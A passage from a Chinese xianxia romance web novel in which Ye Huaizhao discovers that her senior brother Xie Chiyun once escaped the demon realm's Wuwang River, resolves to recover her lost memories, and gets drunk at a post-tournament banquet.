可什么事情,会让她在一个人的怀里时,被对方捂住眼睛,让她闭眼呢? 叶怀昭微妙的沉默了。 谢迟云撑在屏风边缘的手指却在缓慢地收紧。 他注视着屏风上精雕细琢的花鸟图案,声音平静说:“除了我之外,师妹不许教别人。” 叶怀昭本能地想要反驳不许命令我,一个“不”字刚刚从喉咙中冒出半个字音,就见屏风外那道高挑颀长的身影微动,似乎想要绕过屏风走进来。 她瞬间脱口而出说:“那你也不许教别人!” 那道身影顿在原地。 叶怀昭:“你、你那半吊子的技术,教别人只会误人子弟,不许教别人!” 她左顾右盼,即便知 道谢迟云看不到,也要抬着下巴说:“至于我,我可是颂慈仙尊的徒弟、问道大会的魁首,别人想学也没那个资格,我才不会教别人。” 话都说到这个地步,叶怀昭咬着牙给自己找补:“看在你是我师兄的份上,我才勉强教你的。” 屋中的寂静落针可闻。 叶怀昭:“你不说话是什么意思!” 谢迟云:“在真诚地感到荣幸。” 叶怀昭:“……” 她抓起旁边的枕头就向屏风那边砸过去,抓狂:“不许想!” 她的确带了几分恼意,甚至不惜调动自己刚刚恢复的一点灵力让枕头穿透屏风,结结实实地砸在了谢迟云的身上。 谢迟云没有躲。 他结结实实地挨了打,眼中却升起浅淡的笑意。 为了不让师妹更加恼羞成怒,他不动声色地对叶怀昭说起自己被打断的正事。 “师妹,明日无相宫会联合其他几个门派对贩卖禁药的事情彻底搜查。”他说,“明日人多眼杂,或许会有人趁机挑事,我不能留在无相宫,师妹注意安全。” 叶怀昭:“知、道、了。” 她说:“所以师兄可以从师妹的屋中离开了吗?” 谢迟云将带着一点草药清香的枕头捡起来,放到旁边的软榻上。 离开前,他轻声说:“师妹,早些安歇。” 他等了一会,才听到叶怀昭不情不愿说:“慢走不送。” 谢迟云牵了牵唇角。 门扉轻轻被关上了。 叶怀昭表情空白地仰面朝上躺了一会,忽地拉过被子蒙住头,在床上翻滚。 片刻后。 她一把掀开被子坐起来,露出被憋得发汗的通红脸庞。 “叶怀昭,”她喃喃着,对自己恨铁不成钢,“你怎么就这么心软!” 他都敢要求你不许教别人了,他都敢干涉你的选择,你竟然还同意了? 是不是下次他说,师妹,你以后不许亲别人——你都会鬼迷心窍地答应? 你对他只是有一点点心动,怎么就能这么一退再退呢? 叶怀昭深刻反省自己最近是不是对谢迟云太放纵了。 她在心中痛骂了自己一顿,骂累了,重新躺下。 她闭上眼睛。 叶怀昭安详地想: 事已至此,先睡觉吧。 一觉醒来,说不定谢迟云就能站在她的床边对她说自己错了。 他应该在师妹开口的第一时间就对她说,自己曾经从未喜欢过什么姑娘,而在这之后,也只会喜欢她一个人。 第56章 第五十六章无忘川 叶怀昭的这一觉直接睡到了日上三竿,才饥肠辘辘地爬了起来。 她站在床边伸了个懒腰,听到身体各处传来清脆的响声,神清气爽地换衣服出门。 时隔多日,叶怀昭终于幸运地赶上了无相宫午膳的时间,不用自己动手做饭。 只是今日无相宫膳堂内的弟子很是稀少。 叶怀昭想了想,记起来谢迟云昨日和她说他们要去抓捕售卖禁药的药贩子。 她对这些药贩子没什么兴趣,但是想着这其中或许会有山槐的踪迹,于是拿出灵盘开始问谢迟云什么时候回来。 她师兄大概还在忙,没有回复她的话。 叶怀昭也没有着急,她一边吃饭,一边饶有兴趣地用灵盘看最近发生的有趣事情。 平清城是无相宫所在地界,这里自然布有连接灵盘的符文阵法,凡是在阵法界内的修士都可以通过灵盘进行交流。 叶怀昭一眼扫去,讨论最热烈的就是问道大会的事情,其次便是赌输魁首的人在发疯。 她掠过这些,看见有人在抱怨平清城附近的妖兽怎么都不见了,连练手的地方都找不到。 有人回复说:【最近平清城修士扎堆,妖兽只是不能说人话又不是不会思考,这个时候谁敢来平清城捣乱。】 有很多人附和他的话,之后众人又讨论了一番平清城附近可供练手的秘境。 叶怀昭看到这里后本来打算退出去,又忽然被一条新的回复吸引了注意力。 【不是错觉,无相宫内豢养的妖兽也失踪了很多。】 她若有所思地用勺子搅着热羹。 说起来,无相宫最近也不是很太平。 既有药贩子贩卖禁药,又有弟子失踪,现在还有妖兽失踪。 哦,魔族似乎也在这里有所图谋。 就是不知道这几件事情之间都有什么联系。 难不成青冥台的仙首在此时来无相宫,就是因为无相宫应付不了,请了外援? 叶怀昭发散着思维,单手支颐,目光漫无目的地落在膳堂的入口。 而后措不及防的便与一双清凌凌的眼眸对视。 四目相对的瞬间,两人同时一怔。 然后那双眼睛的主人竟然向叶怀昭的方向走来。 叶怀昭站起身,主动问候道:“无妄仙尊。” 她心想,无妄仙尊来找她干什么? 总不能是宁绥那家伙打不过她所以去找他师尊告状了吧。 在叶怀昭心中嘀咕间,无妄仙尊开口了。 “听宁绥说,你之前去过魔界无忘川?” 叶怀昭没想到她竟然提起这事。因为摸不清无妄仙尊的意思,她就只说了声“是”。 无妄仙尊看着她,那双清凌凌的眼眸中没有任何情绪,声音也是平静无波。 “无忘川终年燃烧着不灭的炼狱之火,但凡被烈火烤炙,便会留下无法消除的烧灼痕迹,”她的目光微动,点在叶怀昭垂下的手臂,“叶仙君想必身上也有这道痕迹吧。” 叶怀昭敏锐道:“‘也’?” 无妄仙尊也曾去过无忘川、被烈火烤炙过吗? “前些年里我和一个魔族交流过,从他那里得来了一些帮助缓解烧伤的药,”无妄仙尊没有解释的意思,只道,“或许对你身上的伤有些用处。” 叶怀昭颇有点受宠若惊。 虽然她和宁绥很熟,但关于他师尊涂因倒是从未有过接触。 无妄仙尊竟是这么心善的人吗? 像是猜到了她的心中所想,无妄仙尊道:“叶仙君曾救过宁绥一命,他对叶仙君的人情另算,这缓解烧伤的药是我对叶仙君的谢礼。” 话说到了这个份上,叶怀昭也不好拒绝。 正好她也吃完了午膳,干脆就跟着无妄仙尊去取药。 一路上,叶怀昭在悄悄打量着她。 据说无妄仙尊也是年少成才,年轻时便接连跨过天罡境和踏灵境,容貌从此定格于青年时代,岁月只让她处事更加波澜不惊。 旁人都说无妄仙尊涂因最是冷若冰霜,但叶怀昭觉得,她除了面容有些冷淡、一双黑沉沉的眼眸像是映不进任何光亮的黑玉外“”,性情倒是很温和。 至少对小辈们很是宽容和善。 她甚至愿意给叶怀昭讲宁绥小时候因为过不去璇玑湖九宫幻境,缠着她日日撒娇,让她把璇玑湖的仙人轰出来。 叶怀昭:“……” 就这样还天天说她脾气烂,他自己不也半斤八两吗? 叶怀昭暗自心想,随着无妄仙尊走进她的院落。 还没迈进门,叶怀昭就听一道懒懒散散的声音说:“师尊,我都说了今日膳堂的饭不好吃,还不如我来给您做呢。” 她抬起头,看见一身浅色衣袍的青年坐在树下的石桌旁,拿着木料,正用小刀雕刻什么物件。 他的眼底有着淡淡的青黑,像是一夜未睡,刚从白仙府幻境出来后就雕刻。 无妄仙尊说:“你同膳堂做的也没有区别。” 宁绥:“……” 他抽出空闲的一只手按在抽痛的太阳穴,不满地抬起头正要反驳,就见一张熟悉的脸从自己师尊的身后探了出来,笑眯眯地伸手向他招了招。 宁绥:“………” 更头疼了。 头疼也没用,宁绥臭着一张脸被自己师尊命令着,带叶怀昭去取药。 这里是无妄仙尊的地盘,虽然只有她和自己徒弟两个人住,但无相宫依旧为她建了一大片连绵起伏楼阁牌坊,放眼望去恢宏气派。 叶怀昭打量着,心想无相宫宫主虽然不喜无妄仙尊,但作为门派实力的代表,他们一荣俱荣一损俱损,从物质上无相宫宫主倒是不敢亏待无妄仙尊。 正思索着,叶怀昭听到宁绥冷冷问她:“我师尊为什么要给你拿药?” 叶怀昭回过神来,无辜地眨眼:“因为我救过你。” 这还真是无法反驳的理由。 宁绥 咬着牙,第无数次后悔自己当年为什么要进那个秘境。 叶怀昭和宁绥的相识十分尴尬。 她十七岁时留在西翠谷调养身体,但也并非一次也没出过门。 某一次她实在憋得难受,让季衡远带她出去转转。季衡远拗不过她,只好收拾了一大堆法器和她下了山。 不过他那一大堆法器没派上什么用。 因为下山的当晚,叶怀昭就因为不小心踩了秘境和他走散了。 叶怀昭就在秘境中碰到了被人追杀奄奄一息的宁绥。 这人当时孤注一掷,拼尽全力动用了禁术才杀光了追杀他的人,但因为没有同伴,自己师尊也远在北境,所以只能躺在地上等死。 叶怀昭看见了他身上无相宫的令牌,顺手救了他。 也无意间看到了宁绥在地上用自己的血写的遗书。 他说自己后悔没能为自己爹娘报仇,后悔修习符箓,后悔进入无相宫。 但绝不后悔见到师尊,成为师尊的徒弟。 更不后悔对师尊动心。 思绪回到当下,叶怀昭真诚说:“我们当初结过契,我不会把你喜欢你师尊的事情说出去的。” 宁绥一听她提这件事就眼皮一跳,忍无可忍说:“你能不能闭嘴?” 他威胁说:“你再说一句话,我就去找谢迟云,说你还对别人念念不忘。” 叶怀昭:“我对谁念念不忘了?” 宁绥:“我怎么知道,反正你师兄心里一定有人选。” 两人对视一眼,面上皆是一副“算你狠”的神态。 叶怀昭猛地将头撇到另一边,环胸抱臂站在宁绥的身后,看他翻箱倒柜地找出来一个玉瓶。 “我师尊之前为了修炼,将三大禁地都走了一遍,这就是她后来寻到的缓解无忘川炼狱之火的药。” 宁绥将玉瓶抛给叶怀昭,说:“师尊她没有药方,但我想颂慈仙尊仿制这个应该也用不到药方。” 叶怀昭道了声谢,随手打开玉瓶轻嗅了一下。 宁绥将翻出来的东西全部整理好放回去,转头却见叶怀昭还维持着方才的动作。 他冷笑一声说:“我没给你下毒。” 叶怀昭:“我当然知道你没下毒。” 她皱了皱眉,又仔细嗅了嗅药丸的味道。 有赖于颂慈仙尊曾经日日夜夜揪着她辨认药材,叶怀昭对于此世间大部分的丹药都能做到一嗅便知用了哪几味药,不知道的丹药也能记住味道。 而现在,她便觉得这瓶药丸的味道极其熟悉。 在哪里闻过呢? 直到拜别无妄仙尊回到住处,叶怀昭还是没能记起来自己在哪里闻到过这股味道。 没有办法,她只好将其暂且放下,分出几粒药丸放进新的玉瓶后,连带着信笺一同送回西翠谷。 做完这些事情,叶怀昭恰好听到窗外传来一阵一阵的喧闹声。 她探头一看,发现是去抓捕药贩子的弟子们回来了,不少人的身上还带着伤。 左右闲来无事,叶怀昭便准备下去帮忙安置,却与顺着楼梯向上走的谢迟云迎面相撞。 谢迟云停住了脚步,叶怀昭却因为向下走的惯性而稍微晃了下身子,被对方抬手扶住。 “师妹小心。”他说。 叶怀昭抓着他稳住身体,正要开口道谢,思绪忽地一顿。 她一点一点抬起头,与谢迟云对视。 而后毫无征兆地将他推到墙壁上,不顾还在外头,直接抓着他的衣襟埋头嗅闻。 谢迟云眼中闪过一丝诧异。 他想要将叶怀昭拎走,但对方死死抓着他的衣襟不放,再扯下去只有他被扯坏衣服衣衫不整这一个结局。 僵持片刻后,谢迟云只好任由她动作。 他不解又无奈说:“师妹,我还未沐浴换衣,身上不太好闻。” 叶怀昭没理他。 片刻后,她松开手,退后两步。 转角的楼梯处,下方弟子来来走走,嘈杂万分。 而叶怀昭直直盯着被她推到墙边的青年,望着他一如既往的温和笑眼,一字一顿说: “你去过无忘川,对吗?” 第57章 第五十七章她不能只让师兄为她记得一…… 这是叶怀昭第二次闻到这股熟道的气味。 第一次是在她和谢迟云去找徐规的路上,谢迟云不慎灵力暴动并且身中催情蛊。 叶怀昭为他缓解灵力暴动,尝试了数次都没有成功。而这时谢迟云便让她从自己的乾坤袋中拿出一个玉瓶,他服用后,叶怀昭才顺利地帮他梳理了灵脉。 那玉瓶中的丹药,与缓解无忘川炼狱之火烧灼之痛的药丸气味相似。 即便不是同一种丹药,所用的药材也差不多。 谢迟云服用这种药,至少说明他也和叶怀昭一样深受炼狱之火的影响。 那丹药的气息甚至在他的身上长期停留,足以见得对方服药时间之久。 炼狱之火对谢迟云造成的影响,甚至比叶怀昭还要严重。 问出这句话后,叶怀昭目不转睛地盯着面前靠在墙边的青年,不放过他一丝一毫的表情变化。 她看到,谢迟云脸上的温和笑意稍微淡了几分,眼中先是闪过了一丝困惑,像是没有反应过来她的问题,而后困惑慢慢散去,最终被掺杂着无奈的诧异替代。 “师妹又是从哪听说的传闻?”他说。 叶怀昭当着他的面将玉瓶拿出来,快速向他叙述了一遍自己的发现,然后微抬起下巴,一副“我看你还怎么解释”的表情。 谢迟云垂眸看了她手中玉瓶一眼。 他的睫毛掩住了眼底的情绪,叶怀昭一时拿不准他此时在想什么。 她不满地皱了皱眉,刚要出声,就听谢迟云道:“师妹想听实话还是不那么真的假话?” 这是什么问题。 叶怀昭本能地想选“真话”,可她转了转眼睛,先绷着脸说:“如果我说要听假话,你会编出什么来骗我?” “我不会骗你,师妹。”谢迟云认真说。 叶怀昭对他的这句话持保留意见。 但她没打断谢迟云的话,听到对方风轻云淡道:“那并非是治疗炼狱之火灼烧伤的丹药,而是更改了其中一味药,让其在体内燃烧。” “仙尊之前没有为师妹开出这个药方,也是因为师妹需要的那份药材极为难寻,有几类已经灭绝了。” 叶怀昭嘴角落下。 她二话不说便去抓谢迟云的手腕,这次对方没有反抗,任由她用灵识探入检查。 片刻后,叶怀昭松开手,冷笑一声:“你的体内要是时刻都有炼狱之火在燃烧,你还能活生生地站在这里骗我吗?” 谁能在那般痛苦下忍受这么久? 叶怀昭没了耐心,直接问他:“所以真话是什么?” 谢迟云倚靠在墙边,将叶怀昭揉乱的衣襟整理好。 他的姿态闲适,不像是在被对方逼问,说话的声音也很是平静。 “真话就是,我小时候去过无忘川。”他在叶怀昭微微怔住的目光中,轻声说,“和师妹一样,是从那里逃离出来的。” 叶怀昭忽地想起来清风观辛道长对她说过的话。 他说她母亲万秋遥每年春日都去乐寿城,是为了寻找她在魔界失踪的师妹。 他说十三年前的春天,她在魔界边界发现了谢迟云以及他母亲的尸首。 她甚至还想起来自己曾在璇玑湖九宫幻境中见到的玄衣魔君。 零碎的细节编织成一张网,将叶怀昭笼罩其中,她张了张口,忽然觉得喉咙发紧。 少女抓着玉瓶的手指收紧,在谢迟云平淡温和的目光中,头一次升起不知所措的念头。 她就不该来问。 叶怀昭在心中痛骂自己一声——踩着对方的伤口刨根问底难道很有意思吗? 她越想越后悔,手中不自觉用力。 玉瓶不堪重负,发出“咔嚓”一声脆响。 这道声响很细微,可如今这楼梯拐角只有叶怀昭和谢迟云两个人,况且都是耳聪目明的修士,都听到了这细微的动静。 叶怀昭还沉浸 在后悔之中,右手却先被谢迟云抬起来,按着她的指根将她的掌心展平。 几道刚刚被玉瓶碎片划破的伤痕在向外渗着血。 谢迟云叹气:“师妹想问什么,我会告诉你,不必这样伤害自己。” 叶怀昭想说这只是不小心,而且这只是小伤,不处理也一会就好了。 但她话没说出口,就在师兄不容抗拒的目光中默默咽了回去。 本是向他兴师问罪的人被带回了自己的住处。 叶怀昭坐在自己屋中桌案后,被他抓着手,耐心地用银镊钳挑着伤口中的玉瓶碎屑。 他微微垂着头,目光专注,叶怀昭身后窗棂透进来的光正好落在他稍稍皱起的眉心,眼睫下的眸子在日光下越发清透。 叶怀昭看了一会,转过头。 她冷不丁说:“师兄,无忘川真的很大吗?” “若是里面的人想要出来,那便很大。”谢迟云声音轻缓说,“十里白雪路,十里妖魔道,到处都是炼狱之火,稍不注意便会坠落,化为灰烬。” 他说着,忽然抬起眼睫看了一眼坐在椅子上的叶怀昭。 她老老实实地坐着,柔软的碎发轻轻扫过面颊,方才见面时的耀武扬威消失殆尽,微微抿着唇,像是在小心地观察他。 在与他对视后,叶怀昭登时像是被抓住破绽一般不自然地目光闪烁,偏头躲开了他的视线。 谢迟云挑出一小片碎屑,问她:“痛吗?” 叶怀昭:“不痛。” 她根本就不觉得这点伤口值得处理。 谢迟云说:“我是说师妹从无忘川出来时痛不痛。” 叶怀昭这才转头看他。 她不理解为什么要问她痛不痛——明明和她相比,当年只有十岁的谢迟云若是想和他母亲从无忘川离开魔界,受到的伤一定远比她更加严重。 和她相比,他才是应该被问“痛不痛”的人吧。 沉默片刻后,叶怀昭说:“我不知道,我不记得了。” 谢迟云不是医修,可他处理伤口的手法看上去竟然无比娴熟,叶怀昭没有感知到任何的疼痛。 他三两下将伤口中的碎屑挑出,又敷上药粉,才声音轻缓说:“师妹还是永远不要想起来为好。” 叶怀昭拧眉。 她抓住想要起身离开的谢迟云。 迎着对方的视线,叶怀昭不闪不避,认真地问他:“那你呢?难道你不痛吗?可你为什么一直要强迫自己记得。” 她知道修真界中有刻意阻断一段记忆的术法。 为情所困、为欲所伤、为念所求……世间不愿被遗忘的事情很多,可用遗忘来逃避的事情也很多。 只要无法回想起来,那所谓的意难平就不复存在。 叶怀昭便知道她师尊就阻断了自己的一段记忆,若是无忘川发生的事情太过于痛苦,谢迟云本可以寻求她师尊的帮助。 颂慈仙尊也一定不会拒绝。 可是他没有。他选择长长久久地留着这段记忆——为什么? 谢迟云像是愣了一下,才抬起手,隔着衣物按在叶怀昭衣袖下被炼狱之火烤炙留下的伤痕。 他没有正面回答这个问题,而是说:“师妹,无论痛苦与否,有些事情总要有人来记得的。” “况且,”他看向叶怀昭,“正是我还记得,所以我知道那是怎样的炼狱之地,才更不愿师妹再回想起来当时的半点记忆。” “只这一件事,我不想让你记起。”他说,“只我记起,便足够了。” 谢迟云的这句话让叶怀昭在心中念了许久。 直到两日后无相宫为参与问道大会的修士举办的宴席上,叶怀昭的样子依旧瞧上去不太好。 桑春将想要前来为叶怀昭祝贺的修士们挡了回去,抓着她来到宴席的角落,往她的手中塞了一个剥好的橘子。 “你怎么了?”桑春打量着她的神色,“还是没修养好?” 她这几日被她师尊戒律堂堂主揪着不放,一直带着她到处出去办事,倒是没太关注叶怀昭。 叶怀昭回神:“不是。” 桑春心想,那就是心情不好。 拿了问道大会魁首了还心情不好? 能让叶怀昭心情不好的原因就那几样。 不是修为问题,也不是庄丹雪,就只剩一个原因。 桑春瞥了一眼在和青冥台大师兄沈玉山对话的谢迟云,不动声色问她:“怎么,你和谢迟云又吵架了?” 叶怀昭无意识地用灵力剥橘子,思索片刻后问她:“你说,我怎么样才能找回之前的记忆?” 桑春有点诧异。 “你之前不是说有没有记忆都无所谓吗?怎么现在又想找回记忆了?”她问道。 叶怀昭:“只有我忘记一切的话,对那些记得一切的人有些不公平。” 曾经觉得无所谓,是因为她不觉得自己之前的记忆有多么重要。 可现在叶怀昭觉得,无论重不重要,她不能只让谢迟云为她记得一切。 他只需听她命令,为她斩尽让长风门门派有损的宵小之辈便足矣,她不需要让他担起不必要的责任和痛苦。 谁准许他自顾自地便决定将他们两人共同的责任全部抗到自己肩上了? 谁准许他替她记住那些痛苦了? 叶怀昭越想越气,甚至想把手中剥下来的橘子皮塞进自己师兄的嘴里,让他不要自说自话。 见桑春眼中还是带有怀疑,叶怀昭将橘子掰出来,冷笑一声说:“而且我恢复了记忆,不就能更好地看清我师兄这个人吗?” 届时她倒要看看,谢迟云到底瞒了她些什么东西。 桑春被她说服了。 她想了想,说道:“我记得颂慈仙尊说过,你的记忆随着伤势的恢复其实也在恢复。不过你若是想要更快地找回自己之前的记忆,除了等它慢慢恢复外,还有另外一个办法。” 叶怀昭掰了一瓣橘子塞进嘴里,问她:“什么办法?” 桑春:“你听说过东境的玉水洞吧。虽然被称为禁地,但和其它两个禁地相比,每年都有大量的修士试图进入玉水洞探宝,即便青冥台在周围设下了禁制也阻拦不了世人的热情。” 叶怀昭点头。 桑春耸耸肩,接着道:“据说在玉水洞的尽头,可以看到一个人的过去与未来、前世与今生。你如果想知道自己过去的记忆,可以去玉水洞试试。 “反正你如今突破了天罡境,修为大涨。而且只看过往不寻秘宝,在玉水洞中也不会有太大危险。” 叶怀昭有点心动了。 桑春说了一大长串话,看着叶怀昭一边吃橘子一边若有所思的神色,便从她手里抢了一半。 咬碎橘瓣的瞬间她便浑身打了个寒颤。 “你都不嫌酸吗?”她将没吃的部分又还给叶怀昭。 叶怀昭:“不觉得啊。” 她心中还在盘算着怎么说服她亲爹和师尊让她去玉水洞。 大不了就先斩后奏,又不是没做过这种事。 说话间,宴席将要开始。 叶怀昭和桑春重新回到自己的席位,她的身边正好是谢迟云。 见她坐了回来,谢迟云顺手帮她把案上的橘子剥了皮,放到空闲的盘中。 叶怀昭享受着自己师兄的服务,左耳进右耳出听着无相宫宫主的客套话,同时和正对面的庄丹雪互相眼神攻击。 她用目光示意庄丹雪去看无相宫宫主身旁最大的一个匣子,又故意用目光扫了一下旁边稍小一点的匣子,洋洋得意—— 你猜这两个匣子,哪个是给你的、哪个是给我的? 庄丹雪被她气得翻白眼,不甘心地刚要瞪回来,表情忽地僵在脸上,与此同时,宴席中的声音也忽地一静。 叶怀昭若有所觉地顺着她的视线向自己身后看去。 ——一个身穿金纹素袍的白发老人正垂眼看着她,无声无息。 在他的腰间,佩有一柄悬坠镂空繁复玉牌的宝剑。 在叶怀昭回首的瞬间,满座修士站起身。 她听到身后的无相宫宫主快步走来,声音恭敬道: “庄仙首。” 第58章 第五十八章 师妹 随着仙首的落座,宴席重新恢复了热闹的气氛。 叶怀昭吃着瓜果,忽然转头向谢迟云问道:“师兄,我之前见过庄仙首吗?” 谢迟云抬首扫了一眼高台上的金纹素袍的白发老人。 “没有,”他说,“怎么了,师妹?” 叶怀昭转着酒杯没有说话。 虽然他方才没多做什么,甚至还温和地恭贺了一番叶怀昭的夺魁,又提到长风门人才辈出,瞧上去态度很和善的样子。 但是叶怀昭觉得他和沈玉山一样,似乎都有点不太喜欢她。 不过她转念一想,又觉得这很正常。 他们都出身青冥台,还都是庄丹雪的亲近之人,估计不喜欢她也是因为她庄丹雪的缘故吧。 叶怀昭随意想了想,没怎么在意,很快便将这点事情抛之脑后了。 这次的宴席专为参加问道大会的修士准备,只是能进内庭且有席位的人,除了各个门派的仙师外,只有前十甲有此殊荣。 舞姬们翩翩起舞,丝竹之声不绝于耳。 叶怀昭托着下巴看了一会,还是觉得自己案上的美食对她来说更有吸引力。 谢迟云在同她说前几日清剿药贩子的事情。 “这批禁药是从魔界流通传来的,”他说,“通过术法追溯源头,最终找到了山槐。” 按照谢迟云的说法,山槐似乎只令人炼制了一批短暂提升修为的丹药,以大价钱卖给了在魔界和修真界来往的药贩子,并未明确让他们在问道大会进行的时候卖给参与大会的修士。 叶怀昭:“如果目的不是问道大会,那她为什么会在最近来平清城?” 她可还记得自己之前看到的虚影呢。 “她来见一个药贩子。”谢迟云看着叶怀昭,“师妹不如猜猜这药贩子是谁?” 天下药贩子千千万,但能被谢迟云单独提出来的药贩子只有一个。 叶怀昭眨了眨眼睛:“之前和季衡远交易、偷走封灵镜的那个药贩子?” “的确是他。”谢迟云道,“但我们只见到了他的尸首。” 叶怀昭不禁唏嘘。 到了现在,她倒是也能大概猜出来之前发生的那几件事情的联系。 季衡远想和她生米煮成熟饭,于是暗中联系情报贩子,想要获得一些不被允许的丹药蛊虫。 而山槐一直想要对她下手,发现此事后便让药贩子带着连魂蛊找到了情报贩子,进而将蛊虫交给季衡远,并且让他偷取封灵镜来交换。 季衡远死后,长风门开始搜查药贩子,他无法离开南境,可能还有山槐无法杀他的理由,于是山槐派魔族从乐寿城进入南境,护送着他一路向北,来到平清城。 只是不知道发生了什么,山槐还是将他杀了,夺走了封灵镜。 叶怀昭困惑地说:“所以她要封灵镜做什么?” 谢迟云:“除了封灵镜外,青冥台的秘宝也被她命人窃走了。” 叶怀昭眯了眯眼。 “无相宫呢?”叶怀昭冷不丁问,“若是青冥台和长风门都被她窃走了一件秘宝,为什么她没有对无相宫下手?” 谢迟云道:“无相宫在前几日加强了禁地的阵法,只就目前来说,还没有发现有什么秘宝失窃。” 叶怀昭“喔”了一声,没再多问什么。 秘宝的事情就让各派掌门操心算了,天塌下来还有高个子顶着呢。 她的身旁是谢迟云,左手边是在白仙府幻境中与她联手的卜修。 宴席进展到后半段,歌舞乐声渐渐散去,无相宫宫主说了一番场面话,给取得前三甲的修士各自送来了贺礼。 叶怀昭去拿贺礼时,察觉到上方有一道视线一直在追随着她。 她抬起头,发现庄黎在目不转睛地盯着她看。 她看了片刻,弯了弯唇角,率先移开视线。 叶怀昭和宁绥都领了属于自己的那份贺礼,但庄丹雪的贺礼却是直接由庄仙首收下了。 似乎是在庄黎露面没多久,庄丹雪便和她师兄离席了。 叶怀昭只记得她当时的神色不大好看。 不过这和她又有什么关系呢? 叶怀昭在高高兴兴地和自己师兄分享自己的魁首礼。 无相宫的卜卦符文久负盛名,不少修士脱离无相宫后,便凭借着卜卦推演的本事成为了很多达官贵族的幕僚。 无相宫是三大仙门中与凡间联系最紧密的一个,所积累的财富甚至比青冥台还要多。 也因此,无相宫给魁首准备的贺礼也十分贵重。 他们给叶怀昭送了一套可以防御踏灵境修士致命一击的衣袍,又送了一把散发着凛凛寒气的宝剑,还送了几本无相宫珍藏的功法书籍。 谢迟云看了几眼,顺着她的话夸赞几句后就被戒律堂堂主叫走了,似乎是有什么事情要说。 叶怀昭满意地将贺礼收进自己的双银环中。 她之前的郁闷被今天的宴席横扫一空,兴致来了便想要小酌一杯。 而且无相宫提供的酒水味道不错,叶怀昭不自觉地便喝了一杯又一杯。 等到谢迟云回来时,看到的就是趴在身旁姑娘肩膀上满脸绯红的师妹。 他扫了一眼叶怀昭面前的空酒盏,还有什么不明白的。 被叶怀昭抓着胳膊不放的姑娘是她之前在白仙府幻境中合作过的卜修,她哄小孩一样拍着叶怀昭的后背,试图让叶怀昭松开手。 瞧见谢迟云走来,卜修的眼中闪过“救星来了”的希冀。 谢迟云叹息一声。 “师妹给姑娘添麻烦了,抱歉。” 他说着,主动上前想要将叶怀昭带下来。 叶怀昭打了个酒嗝。 她其实还没到喝醉的地步,只是觉得有些大脑昏沉,想找个地方靠着睡觉。 卜修的怀抱很是柔软,她懒懒的不想动,谢迟云来拉她的时候还被对方嘟囔着说了句“走开”。 此时宴席已经到了尾声,各家仙师已经提前离场,场地内只剩下零零散散的年轻修士。 像她这样喝醉的人不在少数。 毕竟问道大会结束了,聚在平清城的修士们不久后就要各自离开,当然要趁着最后的时间放纵一把。 谢迟云没有找到桑春在哪里,干脆直接弯下腰,将叶怀昭的手搭在自己肩膀上,把她抱起来。 失重感让叶怀昭下意识地搂住了自己最近的东西。 她微微抬起头,在朦胧的视线中看到一个轮廓极为熟悉的下颌。 她嗅了嗅,闻到了熟悉的檀木香。 “师兄?” “嗯。” 叶怀昭不说话了。 她在谢迟云的怀中调整了一个舒服的姿势,搂着他的脖子继续犯困。 谢迟云说:“师妹,等回屋了再睡。” 叶怀昭小小地打了个哈欠,懒洋洋说:“不要。” 谢迟云无法,只好就这么带叶怀昭回去。 在他们的身后,卜修若有所思地看着他们离开的背影。 而后,她低下头,分别发了两个不同的消息出去。 【别想了,你和叶怀昭可没戏。】 【别想了,你和乘玉仙君也没戏。】 发完这两条消息,卜修不再理会灵盘两端不同人的哀嚎,慢悠悠地用酒壶给自己倒了杯酒。 她想,难怪叶怀昭她师兄方才那么寸步不离。 就这酒量,一个不注意就被人灌醉拐跑了怎么办。 长风门楼阁。 谢迟云给叶怀昭煮了醒酒汤回来,看到本该乖乖躺在床上的师妹赤着脚将自己蜷缩在窗边的木椅上,望着窗外的月亮发呆。 谢迟云走到她的身旁,在叶怀昭不满的目光中将窗户关上。 “夜里风寒,师妹别着凉了。”他淡定说道。 叶怀昭把自己的下巴搁在膝盖上,歪头看了他几眼。 清冷月光下,少女的面颊越发白皙透亮,眼尾氤氲着薄薄的红晕,看过来的目光似是含着一汪柔和清透的湖水。 叶怀昭的酒品很好,喝醉后便只想睡觉。 谢迟云看着她喝完醒酒汤,又用湿了水的帕子帮她擦了脸和手脚,帮 她把脱下的外衣叠好。 做完所有事情后,他一转头就发现师妹已经乖乖躺回床上,闭着眼睛开始睡觉了。 谢迟云哑然失笑。 他放轻手脚,离开了师妹的房间。 下楼梯的间隙,谢迟云忽然想起来自己第一次在西翠谷中见到叶怀昭时的样子。 那一年,他被万夫人从乐寿城带回长风门,拜叶珩为师,成为在林漱雪后,长风门掌门收的第一个徒弟。 那时他还不能完美控制自己体内的魔气和灵力,身体状况时好时坏,在断断续续昏迷了数日后,终于在一个下过雨的午后,随他的师尊去西翠谷拜访颂慈仙尊。 他踏进浸染着新鲜泥土气息的院中,一眼便瞧见了当初和他一同跌进池塘的女孩。 她像是一直在等什么人似的,以一个别扭的姿势趴在窗边,却没忍住困意而将脸埋在双臂之间,右侧颊边的软肉稍微挤在手臂旁,白皙而透着点红晕。 她的眼皮薄薄的,透着淡淡的脉络,像是轻柔的花瓣。 开门时的动静吵醒了昏昏欲睡的女孩。 她撑着脸看向这边,眼睛半睁不睁,打了个哈欠含糊不清地叫了一声:“师尊?你回来啦……” 黑云攒集在天空,但日光强烈,依旧穿透云层、掠过树梢,带着春寒料峭时的清冷,落在少女不设防的柔软眉眼上。 不知反射了什么,一点红色在她的眉尾处晃过。 像是洁白无瑕的雪山中,忽然出现一株鲜艳灼目的梅花。 谢迟云眼睛眨也不眨地盯着她,手指微动,竟想要将那点红色自她的眉尾拂过。 旋即,他听到身旁的师尊说: “这是我的女儿,你的师妹,叶怀昭。” 谢迟云慢了半拍,才缓缓点头。 他心想:这就是我的师妹吗? 飘忽在半空中的思绪在想到这点时忽地落了下来。 那些曾经痛苦的、血腥的、残忍的事情一点一点从他的脑中剥离,只有女孩看过来时清透的目光一寸一寸将他的心脏充盈。 他忽然意识到自己已经彻底离开了过往,站在了一个可以重新开始的节点。 而这个节点的起始,是他有了一个师妹。 一个天真、柔软、爱哭的师妹。 第59章 第五十九章胡言乱语 叶怀昭是被屋外的吵闹声强行唤醒的。 她大脑发涨地睁开眼,意识还停留在宴席最后的轻歌曼舞,而她和一个漂亮姑娘一杯一杯地喝酒。 但此时她眨了眨眼,摸索着坐起身,发现自己衣衫齐整地躺在自己的床上,外衣叠在一旁。 ……是桑春或者她的某个朋友把她送回来了吧。 叶怀昭打着哈欠,没怎么在意地从床上下来,推开窗子向外看去。 